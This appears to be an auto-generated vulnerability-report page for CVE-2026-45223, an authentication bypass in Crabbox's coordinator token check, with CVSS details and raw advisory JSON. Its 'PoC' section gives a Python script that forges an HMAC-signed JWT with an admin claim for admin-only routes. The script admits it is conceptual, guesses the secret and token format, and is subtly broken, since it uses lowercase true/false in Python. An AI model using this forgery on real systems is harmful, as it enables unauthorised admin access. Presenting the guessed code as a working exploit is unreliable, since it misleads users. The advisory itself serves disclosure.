Security Vulnerability Report
中文
CVE-2026-45223 CVSS 8.8 HIGH

CVE-2026-45223

Published: 2026-05-11 19:16:28
Last Modified: 2026-05-12 14:47:42

Description

Crabbox before 0.9.0 contains an authentication bypass vulnerability in the coordinator user-token verification path where the verifyUserToken() function fails to reject payloads containing an admin claim, allowing attackers to escalate privileges. An attacker with access to the shared non-admin token can craft a user-token payload with admin: true, sign it using HMAC-SHA256, and present it to admin-only coordinator routes to gain full coordinator admin access including lease visibility, pool state management, and forced release operations.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Crabbox < 0.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import hmac import hashlib import base64 import json # Simulating the token structure and signing # This is a conceptual PoC based on the description secret_key = b'shared_secret_key' # Attacker needs to obtain or guess this # Original payload (non-admin) original_payload = { "user": "standard_user", "admin": false } # Malicious payload (escalated privileges) malicious_payload = { "user": "standard_user", "admin": true } def generate_token(payload, secret): # In a real scenario, this would match the exact implementation (e.g., JWT) header = {"alg": "HS256", "typ": "JWT"} header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=') payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=') message = f"{header_b64}.{payload_b64}" signature = hmac.new(secret, message.encode(), hashlib.sha256).digest() signature_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=') return f"{message}.{signature_b64}" # Generate the forged admin token forged_token = generate_token(malicious_payload, secret_key) print(f"Forged Admin Token: {forged_token}") # Attacker sends this token to admin-only routes # e.g., GET /admin/pools with Authorization: Bearer {forged_token}

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45223", "sourceIdentifier": "[email protected]", "published": "2026-05-11T19:16:28.103", "lastModified": "2026-05-12T14:47:42.170", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Crabbox before 0.9.0 contains an authentication bypass vulnerability in the coordinator user-token verification path where the verifyUserToken() function fails to reject payloads containing an admin claim, allowing attackers to escalate privileges. An attacker with access to the shared non-admin token can craft a user-token payload with admin: true, sign it using HMAC-SHA256, and present it to admin-only coordinator routes to gain full coordinator admin access including lease visibility, pool state management, and forced release operations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "references": [{"url": "https://github.com/openclaw/crabbox/commit/46079f6de7f10cf61bc47efebd0c143a41664898", "source": "[email protected]"}, {"url": "https://github.com/openclaw/crabbox/pull/64", "source": "[email protected]"}, {"url": "https://github.com/openclaw/crabbox/releases/tag/v0.9.0", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/crabbox-authentication-bypass-via-admin-claim-injection", "source": "[email protected]"}, {"url": "https://github.com/openclaw/crabbox/pull/64", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}